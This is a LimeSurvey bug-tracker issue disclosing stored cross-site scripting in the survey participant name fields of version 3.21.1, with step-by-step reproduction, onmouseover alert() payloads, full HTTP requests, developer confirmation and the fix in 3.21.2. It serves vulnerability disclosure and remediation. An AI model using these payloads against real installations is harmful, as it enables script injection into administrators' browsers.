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IDProjectCategoryView StatusDate SubmittedLast Update
15680Bug reportsLimeSurvey Websitepublic2019-12-19 14:242020-05-04 09:44
Reportermisheljava Assigned Tomarkusfluer 
PrioritynoneSeveritypartial_block 
Status closedResolutionfixed 
Product Version3.21.1 
Fixed in Version3.21.2 
Summary15680: LimeSurvey 3.21.1 Cross Site Scripting Stored
Description

• Title: LimeSurvey 3.21.1 Cross Site Scripting (XSS) Stored (2 instances)
• Date: 18/12/2019
• Author: Guram Javakhishvili
• Email: misheljava@gmail.com, guramj@gmail.com
• Software : LimeSurvey 3.21.1
• Product Version: 3.21.1
• Vulnerability Type : Injection
• Vulnerability : Cross Site Scripting (XSS) Stored
LimeSurvey latest version 3.21.1 & LimeSurvey development version 4.0.0 suffer from reflective and persistent (Stored) cross site scripting and html injection vulnerabilities.
Insufficient validation of user input on the authenticated part of the Limesurvey application exposes the application to persistent cross site scripting (XSS) vulnerabilities.
These vulnerabilities enable potentially dangerous input from the user to be accepted by the application and then embedded back in the HTML response of the page returned by the web server.

Steps To Reproduce

Steps to Reproduce:
The attacker needs the appropriate permissions but non-Admin (can be basic user role) in order to create Survey and then add participants.
It was noted that the Add Participants function was found to be vulnerable to two instances of Stored Cross Site Scripting (XSS) vulnerabilities.
When the survey participant being edited, e.g. by an administrative user, the
JavaScript code will be executed in the browser.

List of vulnerable parameters:
• firstname
• Lastname

Steps to reproduce:
Step 1 - Once the survey is created then open the survey and click on 'Survey Participants' at the bottom left hand side menu bar, click on it. Once the Survey Participants window opens then click on 'Create' and then Add participant. (See first screenshot)

Step 2 - Add new survey participant. Insert following payloads into the First name & Last name fields and click save. (See second screenshot).
Payloads:
Fname"onmouseover="alert('Fname')"style="position:absolute;width:100%;height:100%;top:0;left:0;"9e2ad//
Lname"onmouseover="alert('Lname')"style="position:absolute;width:100%;height:100%;top:0;left:0;"9e2ad//

Step 3 - Now click on Save and you should see message saying Success. (See screenshot 3). Now click on 'Browse survey participant'.

Step 4 - Once you browse to survey participants, you will see new participant has been added with your payload as firstname and lastname (See screenshot 4)
http://localhost/limesurvey3.21.1/index.php/admin/tokens/sa/browse/surveyid/686776

Step 5 - Now click on Edit symbol to edit your participant. (See screenshot 4). Once the edit window will pop you will notice your XSS payload rendering in the browser (See screenshot 5 and 6) and screenshot 7 showing that the user supplied was not sanitized and the there is no output encoding.

Additional Information

Due to the size of the server response I will only include HTTP request and snip of response showing there is not output encoding in place

HTTP request with vulnerable parameters and XSS payloads:

POST /limesurvey3.21.1/index.php/admin/tokens/sa/addnew/surveyid/686776/tokenid HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 685
Origin: http://localhost
Connection: close
Referer: http://localhost/limesurvey3.21.1/index.php/admin/tokens/sa/addnew/surveyid/686776
Cookie: LS-OOSUJAAJFRZHZYBG=vsrmh1t9hkgvcsthhl97r6jeut; YII_CSRF_TOKEN=WkJDTFA4RDdmbUJvMVhVS0VNdXFaQzNCa2g5UnE1dnJRvylcV9_gUYN_cIoQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D
Upgrade-Insecure-Requests: 1

YII_CSRF_TOKEN=WkJDTFA4RDdmbUJvMVhVS0VNdXFaQzNCa2g5UnE1dnJRvylcV9_gUYN_cIoQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D&completed-switch=0&completed-date=N&completed=N&firstname=Fname%22onmouseover%3D%22alert%28%27Fname%27%29%22style%3D%22position%3Aabsolute%3Bwidth%3A100%25%3Bheight%3A100%25%3Btop%3A0%3Bleft%3A0%3B%229e2ad%2F%2F&lastname=Lname%22onmouseover%3D%22alert%28%27Lname%27%29%22style%3D%22position%3Aabsolute%3Bwidth%3A100%25%3Bheight%3A100%25%3Btop%3A0%3Bleft%3A0%3B%229e2ad%2F%2F&token=&language=en&email=tter%40tes.cpom&emailstatus=+OK+&sent-switch=0&sent-date=N&sent=N&remind-switch=0&remind-date=N&remindersent=N&usesleft=1&validfrom=&validuntil=&subaction=inserttoken&sid=686776

Second HTTP request with XSS payloads in the response (See screenshot 7):

GET /limesurvey3.21.1/index.php/admin/tokens/sa/edit/iSurveyId/686776/iTokenId/6/ajax/true?YII_CSRF_TOKEN=WkJDTFA4RDdmbUJvMVhVS0VNdXFaQzNCa2g5UnE1dnJRvylcV9_gUYN_cIoQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: /
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/limesurvey3.21.1/index.php/admin/tokens/sa/browse/surveyid/686776
Cookie: LS-OOSUJAAJFRZHZYBG=vsrmh1t9hkgvcsthhl97r6jeut; YII_CSRF_TOKEN=WkJDTFA4RDdmbUJvMVhVS0VNdXFaQzNCa2g5UnE1dnJRvylcV9_gUYN_cIoQdadDDRfuRrsY_3lxPsqhxgrh3A%3D%3D

TagsNo tags attached.
Attached Files
image.png (161,735 bytes)
image-2.png (105,713 bytes)
image-3.png (112,787 bytes)
image-4.png (97,864 bytes)   
image-4.png (97,864 bytes)   
image-5.png (121,227 bytes)
image-6.png (119,159 bytes)
image-7.png (45,331 bytes)   
image-7.png (45,331 bytes)   
Bug heat10
Complete LimeSurvey version number (& build)limesurvey3.21.1+191210
I will donate to the project if issue is resolvedNo
BrowserChrome & Firefox
Database type & versionDB Server version: 10.4.6-MariaDB Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407
Server OS (if known)
Webserver software & version (if known)
PHP VersionPHP version: 7.3.9

Users monitoring this issue

DenisChenu

Activities

DenisChenu

DenisChenu

2019-12-19 15:17

developer   ~55087

Last edited: 2019-12-19 15:17

Confirm the issue

Not CHTML usage (or encode ) in https://github.com/LimeSurvey/LimeSurvey/blob/d8072e535cc209f281b12f57a5572e741108b6b5/application/views/admin/token/tokenform.php#L150
DenisChenu

DenisChenu

2019-12-19 15:18

developer   ~55088

PS : since some survey can allow register : I think this XSS is public accessible in survey with register allowed.
markusfluer

markusfluer

2019-12-19 16:24

administrator   ~55095

Fix committed to master branch: http://bugs.limesurvey.org/plugin.php?page=Source/view&id=29293
Mazi

Mazi

2019-12-19 17:06

updater   ~55097

@misheljava Thanks a lot for these very useful and well document issue reports!
lime_release_bot

lime_release_bot

2020-02-03 14:53

administrator   ~55649

Fixed in Release 4.0.0+200116

Related Changesets

LimeSurvey: master 0a7bdfa1

2019-12-19 17:15

markusfluer


Details Diff		 Fixed issue 15680: LimeSurvey 3.21.1 Cross Site Scripting Stored Affected Issues
15680
mod - application/views/admin/token/tokenform.php Diff File

Issue History

Date Modified Username Field Change
2019-12-19 14:24 misheljava New Issue
2019-12-19 14:24 misheljava File Added: image.png
2019-12-19 14:24 misheljava File Added: image-2.png
2019-12-19 14:24 misheljava File Added: image-3.png
2019-12-19 14:24 misheljava File Added: image-4.png
2019-12-19 14:24 misheljava File Added: image-5.png
2019-12-19 14:24 misheljava File Added: image-6.png
2019-12-19 14:24 misheljava File Added: image-7.png
2019-12-19 14:58 cdorin View Status public => private
2019-12-19 14:58 cdorin Description Updated
2019-12-19 14:58 cdorin Steps to Reproduce Updated
2019-12-19 14:58 cdorin Additional Information Updated
2019-12-19 15:06 cdorin Assigned To => markusfluer
2019-12-19 15:06 cdorin Status new => assigned
2019-12-19 15:17 DenisChenu Note Added: 55087
2019-12-19 15:17 DenisChenu Note Edited: 55087
2019-12-19 15:18 DenisChenu Note Added: 55088
2019-12-19 15:22 DenisChenu Issue Monitored: DenisChenu
2019-12-19 16:24 markusfluer Changeset attached => LimeSurvey master 0a7bdfa1
2019-12-19 16:24 markusfluer Note Added: 55095
2019-12-19 16:24 markusfluer Resolution open => fixed
2019-12-19 16:25 markusfluer Status assigned => resolved
2019-12-19 16:25 markusfluer Fixed in Version => 3.21.2
2019-12-19 17:06 Mazi Note Added: 55097
2020-02-03 14:53 lime_release_bot Note Added: 55649
2020-02-03 14:53 lime_release_bot Status resolved => closed
2020-05-04 09:44 ollehar View Status private => public
2021-08-02 17:18 guest Bug heat 8 => 10